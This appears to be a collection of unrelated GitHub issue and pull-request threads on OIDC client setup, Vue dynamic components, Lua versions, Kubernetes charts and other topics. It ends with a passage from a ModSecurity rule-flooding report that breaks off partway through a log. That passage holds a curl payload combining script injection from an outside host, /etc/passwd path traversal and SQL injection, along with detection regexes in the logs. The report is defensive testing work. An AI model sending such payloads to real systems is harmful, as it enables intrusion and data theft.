  "grant_types": [
    "authorization_code",
    "refresh_token"
  ],
  "access_token_signed_response_alg": "RS256",
  "id_token_signed_response_alg": "RS256"
}

In the MAS provider config, the client_id should be set to the URL that serves the above json.
Note that it does not work unless RS256 is specified for both the algs. This is expected since normal clients need RS256 to work with MAS, as determined in my previous tests.

Ephemeral clients should actually work everywhere, as long as the client does not do any weird validation for the client_id  and don't allow URLs, but that's nice to hear.
Could you maybe do a quick test with v0.27.2 and a confidential client without PKCE? Because this version logs any error that is happening on the /token endpoint on Rauthy's side which could help investigating, why this is problematic with MAS.

Could you maybe do a quick test with v0.27.2 and a confidential client without PKCE? Because this version logs any error that is happening on the /token endpoint on Rauthy's side which could help investigating, why this is problematic with MAS.

I just have, but don't see anything in the logs other than an invalid login counter. Any idea why the rauthy UI shows an "Invalid Credentials" error? Authentication works fine otherwise, when logging in from my rauthy endpoint.
I'll attach some screenshots.

Okay, in this case it makes sense, that you don't see any logs. The additional logging happens on the /token endpoint, but you are getting stuck 2 steps earlier.
The first obvious thing is that you should not need to enable client_credentials, this is rarely used. This makes it possible to fetch an access token for the client via id + secret only, without any user information and interaction. Basically to authenticate one application to another.
Then for the invalid credentials, this is interesting. Do I understand it right that you can log in to your rauthy account / admin UI with these credentials, but the exact same ones return the invalid credentials error when MAS tries to login with the confidential client? That would be super weird, because this step does not change at all, no matter to which client you are logging in.
That you always receive invalid credentials without any additional information is absolutely on purpose, to prevent things like username enumeration and the extraction of other possibly sensitive information. However, when you set LOG_LEVEL=debug, the "real" error (before Rauthy converts it to invalid credentials) during POST /authroize will be logged into the console.

The first obvious thing is that you should not need to enable client_credentials, this is rarely used...

Ah yes, I tried it with client_credentials disabled too (before the screenshot).

Then for the invalid credentials, this is interesting. Do I understand it right that you can log in to your rauthy account / admin UI with these credentials, but the exact same ones return the invalid credentials error when MAS tries to login with the confidential client? That would be super weird, because this step does not change at all, no matter to which client you are logging in.

Yes, I'm able to log in to the Rauthy admin (or a regular account) just fine. I was wondering why the client config would affect normal authentication at all - my understanding is that the auth step before OIDC takes over shouldn't be.
I'll go through both MAS and rauthy config/setup again and see if anything turns up.

I was wondering why the client config would affect normal authentication at all - my understanding is that the auth step before OIDC takes over shouldn't be.

That should not be the case at all and I currently have no idea why this might be happening to you, as long as you are really sure that the credentials are the same.
The request params are validated for each client when you get redirected to /authorize, which can throw errors of course. The same ones are given once again with the login. So the only reason why you might get an error in that case is if these values have been manipulated between the GET and POST. The login itself, like validating user credentials, is not related at all to the client, which makes this very very weird.
Can you copy & paste the full URL with params if you try again? Since this is a test instance only (I guess), you won't be leaking any sensitive information here.

Can you copy & paste the full URL with params if you try again? Since this is a test instance only (I guess), you won't be leaking any sensitive information here. That would help me see how MAS forms the request.

Here's the full (encoded) URL:
https://rauthy.commune.sh/auth/v1/oidc/authorize?response_type=code&client_id=mas&redirect_uri=https%3A%2F%2Fauth-dev.commune.sh%2Fupstream%2Fcallback%2F01JF3NPM0VMCVWVWYZJHG0ZHDY&scope=email+openid+profile&state=CG5G60eHqCT3dP8c&nonce=Nays4KFnvvJU1BBL&code_challenge_method=S256&code_challenge=ZJP-aC-I851lOlk1FGhiFhhfU214DvedK2sjkuCKICQ

I suppose the &code_challenge_method=S256 is causing issues?
Interestingly enough, with Confidential enabled and PKCE set to S256, the rauthy auth/oidc flow completes, but MAS errors with an unhelpful message. I'll have to look more into this tommorow. I suspect this may be a bug on MAS' end.
It would still be good to figure out the strange Invalid Credentials error though - as that seems to be on the Rauthy end.

I suppose the &code_challenge_method=S256 is causing issues?

Yes, that breaks the flow if S256 is not allowed for the mas client in this scenario.
That was exactly what I guessed in the beginning, that MAS always adds PKCE no matter what, when it finds it in the openid-configuration endpoint. That's not a bad thing at all, it just needs to be allowed for the client.
But, if you make it confidential and allow S256 PKCE, the login should work, while it did not in earlier tests, right?
I will double check the request params validation on the GET one step earlier, because it may be, that rauthy does not complain about the value being present, it simply ignores anything not allowed for a client. But, MAS thinks it will be used, while it is not. I can check this though and try to provide a more helpful error message at that very early stage.

Interestingly enough, with Confidential enabled and PKCE set to S256, the rauthy auth/oidc flow completes, but MAS errors with an unhelpful message.

If it receives any non-success status code, you will have an error log on the /token endpoint since this version. This is the additional logging I meant in the beginning. If nothing is there, Rauthy considers the request being successful, which then would need to be debugged on the MAS side, correct.

If it receives any non-success status code, you will have an error log on the /token endpoint since this version. This is the additional logging I meant in the beginning. If nothing is there, Rauthy considers the request being successful, which then would need to be debugged on the MAS side, correct.

For a Confidential client using PKCE SH256, I see this in the logs:
2024-12-19T02:17:47.035710Z  INFO rauthy_middlewares::logging: <IP_ADDRESS> HTTP/1.1 POST /auth/v1/oidc/authorize "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36"
2024-12-19T02:17:48.202015Z  INFO rauthy_middlewares::logging: <IP_ADDRESS> HTTP/1.1 POST /auth/v1/oidc/token "matrix-authentication-service/0.0.1"
2024-12-19T02:17:48.202977Z  WARN grant_type_authorization_code{client_id="mas"}: rauthy_models::entity::clients: Invalid login for client 'mas' from '<IP_ADDRESS>'
2024-12-19T02:17:48.203070Z ERROR rauthy_handlers::oidc: Invalid 'client_secret'
2024-12-19T02:17:48.204171Z  INFO rauthy_middlewares::logging: <IP_ADDRESS> HTTP/1.1 POST /auth/v1/oidc/token "matrix-authentication-service/0.0.1"
2024-12-19T02:17:48.204764Z  WARN grant_type_authorization_code{client_id="mas"}: rauthy_models::entity::clients: Invalid login for client 'mas' from '<IP_ADDRESS>'
2024-12-19T02:17:48.205090Z ERROR rauthy_handlers::oidc: Invalid 'client_secret'

So it looks like MAS errors because the Rauthy flow isn't completing due to an invalid client_secret. Any idea why this might be happening?
Edit
I'm not sure why this wasn't obvious to me, but generating a new client secret seems to have fixed the above. I expected the client_secret to be independent of the actual client config. I've been using the same client_secret initially generated for all these tests, not really thinking to generate a new one for every config change.
If this isn't a glitch or edge case, perhaps the Rauthy admin UI should alert for generating a new secret when client config is changed?
So to be clear - MAS will work with a Rauthy client with Confidential enabled and PKCE set to SH256.

I'm not sure why this wasn't obvious to me, but generating a new client secret seems to have fixed the above. I expected the client_secret to be independent of the actual client config. I've been using the same client_secret initially generated for all these tests, not really thinking to generate a new one for every config change.
If this isn't a glitch or edge case, perhaps the Rauthy admin UI should alert for generating a new secret when client config is changed?

That explains it. The client_secret is bound to each individual client, and each has client has its own secret of course. Otherwise, if client's would share a secret, they would not be that confidential anymore. So, whenever you create a new config, you get a random secret for each new client. Also, when you generate a new one, the old one will not be valid anymore.
When you only change the config itself and don't touch the secret, it stays the same. But, and that's important, when you change the client from confidential to public, it will of course remove the current secret from the client. When you change it back to confidential then, it will automatically generate a new secret. You then need to copy the new one into your client config, the old one will be gone.


Dynamic component support

Is this plugin support dynamic components? Such as using <component :is="" />
I tried to use this plugin using dynamic components, but it's not rendering.
Example:

<component :is="'myButton'" />

<myButton>

Any reason for this tho? I think dynamic component is mostly used by components that you already have reference to instead of a plain string.

I would like it too

I would like it too

As far as I can tell, this is difficult to solve perfectly with a Vite plugin. One alternative, assuming you know the list of components ahead of time, could be to resolve them from a special property defined by vite-plugin-components, for example:
<component :is="child.breed" :components="[Child1, Child2, Child3]" />

It adds some burden to the transform regex, which might not be acceptable for large projects.
Another option could be to automatically resolve missing components from export default = { components: [Child1, Child2, Child3] };, but that doesn't really save a ton of dev effort and probably has a lot of edge cases.

Another example use case:
We are trying to build a form generator component. Inside the form component it can render either an input, select, checkbox etc. By reading the JSON schema we want to render each component that are defined in each property.

Any reason for this tho? I think dynamic component is mostly used by components that you already have reference to instead of a plain string.

To make myself clear:

<template>
  <component :is="Comp" />
</template>

Please note that the Vite plugin is a build-time process and would not be able to get the value of variables in the runtime. For dynamic usages, I'd suggest you either use global/component-level registration, or

<template>
  <component :is="pageName" />
</template>

Or maybe there is an existing pattern and I am missing something obvious?

Any reason for this tho? I think dynamic component is mostly used by components that you already have reference to instead of a plain string.

In our case (and the cases from @praburangki and @husayt) we really just reference a string. We made it work for development, but it still breaks during a production build. It would help us a lot if this was possible. Its obvious that variables are not available during build-time, but maybe a there could be an option to include some whitelisted folders/components?
In our case its a wizard component that can load 1-n steps, depending on what type of wizard we want to show. Here is our structure and our working component:
Our components structure:

│   Wizard.vue
│
├───SomeWizardSteps
│       SomeWizardStep-1.vue
│       SomeWizardStep-2.vue
│       SomeWizardStep-3.vue
│
└───SomeOtherWizardSteps
        SomeOtherWizardStep-1.vue
        SomeOtherWizardStep-2.vue
        SomeOtherWizardStep-3.vue
        SomeOtherWizardStep-4.vue
        SomeOtherWizardStep-5.vue

//Wizard.vue

<template>
  <KeepAlive>
    <Suspense>
      <component :is="stepComponent(step)">

          <button class="btn btn-labeled-right no-label-bg btn-success font-weight-semibold mr-5" @click="next">
            Ga verder

        </template>
      </component>
    </Suspense>
  </KeepAlive>
</template>

Any reason for this tho? I think dynamic component is mostly used by components that you already have reference to instead of a plain string.

In our case (and the cases from @praburangki and @husayt) we really just reference a string. We made it work for development, but it still breaks during a production build. It would help us a lot if this was possible. Its obvious that variables are not available during build-time, but maybe a there could be an option to include some whitelisted folders/components?
In our case its a wizard component that can load 1-n steps, depending on what type of wizard we want to show. Here is our structure and our working component:
Our components structure:

│   Wizard.vue
│
├───SomeWizardSteps
│       SomeWizardStep-1.vue
│       SomeWizardStep-2.vue
│       SomeWizardStep-3.vue
│
└───SomeOtherWizardSteps
        SomeOtherWizardStep-1.vue
        SomeOtherWizardStep-2.vue
        SomeOtherWizardStep-3.vue
        SomeOtherWizardStep-4.vue
        SomeOtherWizardStep-5.vue

//Wizard.vue

<template>
  <KeepAlive>
    <Suspense>
      <component :is="stepComponent(step)">

          <button class="btn btn-labeled-right no-label-bg btn-success font-weight-semibold mr-5" @click="next">
            Ga verder

        </template>
      </component>
    </Suspense>
  </KeepAlive>
</template>

Any reason for this tho? I think dynamic component is mostly used by components that you already have reference to instead of a plain string.

In our case (and the cases from @praburangki and @husayt) we really just reference a string. We made it work for development, but it still breaks during a production build. It would help us a lot if this was possible. Its obvious that variables are not available during build-time, but maybe a there could be an option to include some whitelisted folders/components?
In our case its a wizard component that can load 1-n steps, depending on what type of wizard we want to show. Here is our structure and our working component:
Our components structure:

│   Wizard.vue
│
├───SomeWizardSteps
│       SomeWizardStep-1.vue
│       SomeWizardStep-2.vue
│       SomeWizardStep-3.vue
│
└───SomeOtherWizardSteps
        SomeOtherWizardStep-1.vue
        SomeOtherWizardStep-2.vue
        SomeOtherWizardStep-3.vue
        SomeOtherWizardStep-4.vue
        SomeOtherWizardStep-5.vue

//Wizard.vue

<template>
  <KeepAlive>
    <Suspense>
      <component :is="stepComponent(step)">

          <button class="btn btn-labeled-right no-label-bg btn-success font-weight-semibold mr-5" @click="next">
            Ga verder

        </template>
      </component>
    </Suspense>
  </KeepAlive>
</template>

it work well, thank so much

Hey @Jogai about your solution  => it work well, thanks so much
return defineAsyncComponent(
    () => import(`@/components/main/${component}.vue`),
 )

After searching for a long time, I only found antfu's answer in a certain issue. I think this is a better answer. Indeed, you can only explicitly import, alas.


Switch to Lua 5.1 / LuaJIT

LuaJIT implementation is faster than Lua, but it's compatible with Lua 5.1 with some extensions from 5.2 instead of Lua 5.4
C++ API should be mostly the same, but some lua code in OD2 may need to be updated

@cookta2012 is that different between lua versions?

Primarily that and other things but that's one of the few things I was getting ready to use. I mean if it comes to it I know in c++, a couple of bitwise shift left and right operators can be created easily.

Sorry, let's do a step back. What does bitwise operator have to do with lua version? I'm not asking you to switch from lua to c++

No what I'm referring to is in Lua I don't remember exactly what version but 5.1 does not have bitwise operators. I was actually getting ready to commit here in the next day or two some code restructuring the way colors are stored. As well as use it for a couple other things. What I'm saying is if we do go to 5.1 a helper function would need to be created in c++ to allow me to use a bitwise operator in Lua something like rshift(val,places)

So that the Lua instead of having memory there's only one mainly memory saving

It's something minor I just wanted to bring it up that's all

I just wanted to let you know

Further investigation it seems like they have everything I would need anyway I would say go ahead


Updated REX-Ray plugin platform support.

REX-Ray added Google Compute Engine support: https://github.com/emccode/rexray/issues/113
Signed-off-by: Ray Tsang<EMAIL_ADDRESS>

Please sign your commits following these rules:
https://github.com/docker/docker/blob/master/CONTRIBUTING.md#sign-your-work
The easiest way to do this is to amend the last commit:
$ git clone -b "patch-1" git@github.com:saturnism/docker.git somewhere
$ cd somewhere
$ git commit --amend -s --no-edit
$ git push -f

Ammending updates the existing PR. You DO NOT need to open a new one.

LGTM, thanks!

LGTM


✨ R-address tokens fetching & sending, other tweaks

This PR adds support for the visualization of tokens sent to the R-address of the logged user's wallet, along with being able to properly send tokens to R-addresses from now on. Some copy changes were also made.
I also adjusted the polling of tokenv2infotokel as to not unnecessarily poll immutable data every few seconds from nodes.

Everything looks nice and neat 🆗  Great little fixes 💪🏽
I just noticed one thing. When you click on public key it opens a modal, maybe we should get rid of that modal, so people are not confused, since we are trying to move them away from sending to the public key. What do you think @lenilsonjr ?

@piggydoughnut oh yeah, forgot this one. will keep the message but swap it to say explicitly that they can send tokens as well.


very minor suggestion

Very minor suggestion but it seems tricky to add hydrogens with any Julia package. A work around is obviously to use obabel but I was wondering if you could envisage some functionality here? For example https://github.com/jensengroup/propka/tree/master/propka hydrogens.py ?

I don't think implementing that from scratch is worth the trouble. But maybe a simple interface to Obabel is easy. Can you give me an example on how to do it with that?

In any case, I have added a add_hydrogens! function that calls obabel externally, to add hydrogens to a PDB file (in version 1.3.0):
https://m3g.github.io/PDBTools.jl/dev/tools/

Oh great :)


Missing license

Hi ehouais, thanks for sharing these great js1k entries! :+1: I notice you haven't included a license. Would it be possible to release them under a free license so that they can be included in the openjs1k project? Even if you don't plan on using a free license, having a license of some kind would help people know whether or not they can reuse your work. :smile:

Better late than never...
Added license file in commit 62422c6.


retry file watcher errors

This PR retries file watcher errors so that it helps to recover from transient errors.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ X] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[X ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
Pull Request Attributes
Please check any characteristics that apply to this pull request.
[ X] Does not have any changes that may affect Istio users.

@howardjohn I thought about this a bit more and I felt it is better to add retry so that we can recover from transient failures. In future we can tie this to liveness probe (adding a new one for agent) with a watcher error threshold so that if the errors are non transient we can restart the pod.

@ramaraochavali: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio
2e721fc8e06eb00dca2485eda530f12eee915d6c
link
/test unit-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@ramaraochavali: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio
2e721fc8e06eb00dca2485eda530f12eee915d6c
link
/test unit-tests_istio

integ-pilot-k8s-tests_istio
2e721fc8e06eb00dca2485eda530f12eee915d6c
link
/test integ-pilot-k8s-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

/test unit-tests_istio

/test integ-pilot-k8s-tests_istio

@ramaraochavali: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-k8s-tests_istio
2e721fc8e06eb00dca2485eda530f12eee915d6c
link
/test integ-pilot-k8s-tests_istio

unit-tests_istio
2e721fc8e06eb00dca2485eda530f12eee915d6c
link
/test unit-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

/retest


Setup site and build & deploy pipeline

(Depends on #547)
Need to setup deployments to Cloudflare for the website:

main branch should deploy to the production URL (which is still TBC (see #551) - so a temp URL is fine for now)
PRs should have preview deploys

it looks like Cloudflare Bot doesn't support monorepos just yet, (see here) so I will have to create a github action for this. Looking at implementing something like this https://www.emmanuelgautier.com/blog/monorepo-publish-with-cloudflare-pages

1 Nov - Eleanor to begin work

Don't think main branch is published?

Don't think main branch is published?

it's on https://head.uitk-site.pages.dev/


#101 initial version of egeria lab using strimzi as the kafka impleme…

Initial version of odpi-egeria-lab helm chart that uses strimzi

removed dependency of bitnami helm chart
added dependency on strimzi helm chart
added CR for a simple cluster (inc. security context to address permission issues)
Increments to new prerelease version
other charts untouched for first version

Known issues (may need addressing before merge):

investigate eviction

lab-strimzi-odpi-egeria-lab-entity-operator-655c664bb5-4pnfj   0/3     Evicted   0          10m
lab-strimzi-odpi-egeria-lab-entity-operator-655c664bb5-5kflw   0/3     Evicted   0          8m23s
lab-strimzi-odpi-egeria-lab-entity-operator-655c664bb5-krj7p   3/3     Running   1          7m37s

Status:         Failed
Reason:         Evicted
Message:        Usage of EmptyDir volume "strimzi-uo-tmp" exceeds the limit "1Mi".

Cause: See https://github.com/strimzi/strimzi-kafka-operator/issues/5579 - bug in 0.26.0

kafka not starting up

Investigating before merge ...
Points for review

This version does not support ARM, but future versions should do - requiring little more than a version increment of the dependent chart
strimzi is fully open source (bitnami is not - at least in terms of the tooling/build process for the charts & images)
Initialization takes longer
more pods, so more clutter (for tutorials...)
other charts can get updated if this looks a good approach
have not made the kafka implementation optional - the chart is opinionated ....
can revert before next release/agreement to move from prerelease, but publishing chart enables broader testing with community, essential for upcoming Dojo

Community testing (after merge/chart build)

helm repo add egeria https://odpi.github.io/egeria-charts
helm repo search egeria --devel
helm install egeria/odpi-egeria-lab --devel

Signed-off-by: Nigel Jones<EMAIL_ADDRESS>

Once strimzi 0.27 is available and implemented here I will test it on my Raspberry PI Cluster.

Merging to support broader user testing


[* Unit] Incorrectly identifying percentages in URL encoded strings

Ex: http://proquest.umi.com/pqdweb?RQT=305&SQ=issn(0024-9114) and (ti(Using 3D CAD to design a dog) or startpage(158)) and volume(72) and issue(9) and pdn(>01%2F01%2F2000 AND <12%2F31%2F2000)&clientId=17859

If the number is preceded by a “%” it still identifies 23%
Ex: https://www.test.com/search?q=c%23 ignore property during twenty forty lero.
In fact, it identifies percentage from all the following situations that might well be a part of an encoded URL:

%twenty% - identifies 20%
%twenty%forty% - identifies 20%


Please link to https://qiskit.org/ecosystem/ibm-provider/ in GitHub's About section

It is useful to have the link to the project docs on the GitHub home page for this repo.
To fix this, go to the "Code"/home page of the repo. Then click the wheel on the "about" section on the right. Set the website to https://qiskit.org/ecosystem/ibm-provider/.

Thanks!

Done!


[SPARK-33622][R][ML] Add array_to_vector to SparkR

What changes were proposed in this pull request?

This PR adds array_to_vector to R API.
Why are the changes needed?

Feature parity.
Does this PR introduce any user-facing change?

New function exposed in the public API.
How was this patch tested?

New unit test.
Manual verification of the documentation examples.

Note: https://github.com/apache/spark/pull/30561/commits/157c56a27e05fe9ee7a581eb3225ac6a7e6de9ba just moves definition close to vector_to_array.

Thanks!


Realme C25S, android 11.0 stock, instant bootloop after using "built-in installer"

I selected built-in installer and root mode in settings, tapped install, and phone instantly rebooted and bootlooped, no install process even happened. Vbmeta is flashed.

I can get logs if there is a certain location it is in

Well, that is the first case i saw this happening, no clue what can be, ill diagnose further, but by now, just don't use "built-in installer", you should be able to install GSIs fine without it.
Would be nice if you can send logs, however, the behavior you're experiencing is kinda special, since some system process just crashes, i think the only way to get useful logs in this situation, is by using adb logcat:

Plug Android into PC with USB debugging enabled.
On computer, install adb (if you haven't already).
After that, get logs by running: "adb logcat > logs.txt" on command prompt.
A file called "logs.txt" should be created, and will be populated a lot with logs from the device.
Once logging starts, try to use built-in installer again.
When system "crashes", unplug your device from pc, logging should stop and you can send the "logs.txt" file here as attachment.

If you don't have a PC or cannot send logs, no problem, just don't use "built-in installer" feature.


add correlation

Hi @nicholasloveday. Another suitably short tutorial.
Why did you not generate fcst2 in the same way as the obs (so similar fluctuations)? Was it to get a low mse?
Second markdown cell Try " Forecast system 1 is identical to the observation day other than for a bias introduced. In contrast, forecast system 2 predicts random values around a mean value close to that of the observations."
I think it is worth labelling graphs. Your first graph should lose its title but have a legend showing which line is the observations and which the forecast. I wouldn't label the y-axis, but if you did you could label it "units of observation".
Similarly for the second graph.  You could even put all three lines on one graph.
Given the method of calculation, it might be nicer to (instead or as well) show a scatter plot with a line of best fit. Then you could relate the correlation to the scatter plots.
-1 is perfectly negatively correlated, so worth mentioning.
There may be other measures of correlation added to scores, so you may wish to have a more specific name for this tutorial.
I would be happy to do a second review after you've responded to this one.

Thanks @DerynGriffiths. I have address most of your feedback. The scatter plots is a nice idea and I have added them.
A few notes:

Why did you not generate fcst2 in the same way as the obs (so similar fluctuations)? Was it to get a low mse?
Yes, to get a low MSE

One thing to consider is if the correlation function should be called something else

xarray calls it corr
numpy calls it corrcoef
scipy calls it peasonr

Forecast system 1 is identical to the observation day other than for a bias introduced. In contrast, forecast system 2 predicts random values around a mean value close to that of the observations
Remove "day" and add a final full stop.

sysetm
Correct typo

You haven't added any of my suggested rounding in the print statements. Your choice.
I like the labelled graphs. No legend, but in someways it doesn't matter which is the forecast and which the observation.
I don't have a strong opinion about the name of the function.

Thanks @DerynGriffiths . I rounded the correlation output, but misses the MSE output. It's now been updated.
I've also rebased onto the latest develop branch.

@tennlee when you get the chance, can you please review this?


Update meson.build

This should fix the dependency issue with wireplumber

it actually doesn't - see #2919


radiobox style in view creation box on win

I guess this is not happening on mac but the above is what I saw on win.

Also

Suggested fix:
<input type="radio" class="radio-inline" name="..." checked>
...

.panel .radio-label,
#dialog .radio-label {
  padding-left: 5px;
  margin-right: 10px;
}

The layout seems to have a problem on Firefox. Works fine on Safari though. There should be some css problem resulting in this inconsistent behavior across browsers...


Extension name defined even if not supported or enabled

Using RGA 2.6.2 the name of the following extensions are defined even though the RX 5700 XT I am running this on doesnt support them.

GL_NV_compute_shader_derivatives
GL_NV_shading_rate_image
GL_NV_viewport_array2

Example:
#version 460 core

#ifdef GL_NV_compute_shader_derivatives
// code in here is supposed to be ignored but it's not
#endif

If I run this code through a OpenGL application it behaves as expected.
I assume this is the case for more extensions than the ones I listed.

I noticed these extensions were added in the recent driver release 22.7.1. As far as this goes this issue can be closed.
I have a question about GL_NV_shading_rate_image though.
Why can I use glsl functionality from this extension but can't load the functions introduced by it.
Are client side functions like BindShadingRateImageNV not implemented yet?

GL_NV_compute_shader_derivatives should be supported by the driver soon.
There is no plan for supporting GL_NV_shading_rate_image and GL_NV_viewport_array2 . These should have been disabled in the driver - will be fixed in a future driver release.


Feature request: Limit the number of rules processed per request

Description
A request will trigger many rules if it contains many special keywords. Each rule triggered per request is logged in MODSEC_AUDIT_LOG and ERRORLOG. As described in the "to reproduce" section, a single short request can trigger 125 rules: (SQLI=30, XSS=25, RFI=0, LFI=15, RCE=45, PHPI=10, HTTP=0, SESS=0, COMBINED_SCORE=141). The "attack string" can be improved and shortened and is only an example.
This behavior could lead to a DoS attack depending on the post-processing (e.g. SIEM or monitoring). Therefore, it would be great if it was possible to limit the number of rules processed per request to reduce the possibility of a successful DoS attack.
To Reproduce
Steps to reproduce the behavior:
Use the Docker compose script from OWASP CRS: docker-compose.yml
docker compose -f ./tests/docker-compose.yml up  -d modsec2-apache

Run following curl command to generate the output from Logs and dumps:
curl -X POST --cookie "If=while(Process.spawn(1337)" --form 'a=1&authDomain=%27%60%22><%2fscript></title></style></textarea></template></title></style></textarea></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/3"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.777743 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Found 78 byte(s) in ARGS:a outside range: 38,44-46,48-58,61,65-90,95,97-122. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1815"] [id "920273"] [msg "Invalid character in request (outside of very strict set)"] [data "ARGS:a=1&authDomain='`\\x22></script></title></style></textarea></noscript></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/4"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.778148 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)(?:[/\\\\x5c]|%(?:2(?:f|5(?:2f|5c|c(?:1%259c|0%25af))|%46)|5c|c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|(?:bg%q|(?:e|f(?:8%8)?0%8)0%80%a)f|u(?:221[56]|EFC8|F025|002f)|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|1u)|0x(?:2f|5c))(?:\\\\.(?:%0[01]|\\\\?)?|\\\\?\\\\.?|%(?:2( ..." at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "53"] [id "930100"] [msg "Path Traversal Attack (/../) or (/.../)"] [data "Matched Data: %2F..%2F found within ARGS:a: 1&authDomain=%27%60%22><%2fscript></title></style></textarea></template></title></style></textarea></template><script/src=https://security-smarttecs.com/data.js>//&delete='`\\x22></script></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c%22OR%201=1;../../../../../../etc/passwd&dos=com.java.bean.TemplateInjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.778435 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?:(?:^|[\\\\x5c/;])\\\\.{2,3}[\\\\x5c/;]|[\\\\x5c/;]\\\\.{2,3}(?:[\\\\x5c/;]|$))" at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "86"] [id "930110"] [msg "Path Traversal Attack (/../) or (/.../)"] [data "Matched Data: /../ found within ARGS:a: 1&authdomain=`></script></title></style></textarea></noscript></template><script/src=https://security-smarttecs.com/data.js>//&delete=`></script></title></style></textarea></template><php>phpinfo() </php>rncrlf%22or%201=1 ../../../../../../etc/passwd&dos=com.java.bean.templateinjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "<IP_ADDRESS>"] [uri "/"] [unique_id "ZgF9vvENo2IGM29MSPNYswAAAJc"]
[Mon Mar 25 13:35:58.779233 2024] [security2:error] [pid 60:tid<PHONE_NUMBER>68896] [client <IP_ADDRESS>:59728] [client <IP_ADDRESS>] ModSecurity: Warning. Pattern match "(?i)(?:b[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?u[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\\\?@_a-\\\\{]*)?\\\\x5c?s[\\"'\\\\)\\\\[\\\\x5c]*(?:(?:(?:\\\\|\\\\||&&)[\\\\s\\\\x0b]*)?\\\\$[!#\\\\(\\\\*\\\\-0-9\\ ..." at ARGS:a. [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "200"] [id "932235"] [msg "Remote Command Execution: Unix Command Injection (command without evasion)"] [data "Matched Data: =open(../etc/passwd found within ARGS:a: 1&authDomain=%27%60%22><%2fscript></title></style></textarea></template></title></style></textarea></template></title></style></textarea></template><php>phpinfo();</php>\\x5cr\\x5cn\\x5ccrlf\\x5c\\x22or 1=1;../../../../../../etc/passwd&dos=com.java.bean.templateinjection&process.appendfile=open(../etc/passwd)"] [severity "CRITICAL"] [ver "OWASP_CRS/4.1.0"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/2"] [tag "OWASP_CRS"] [tag 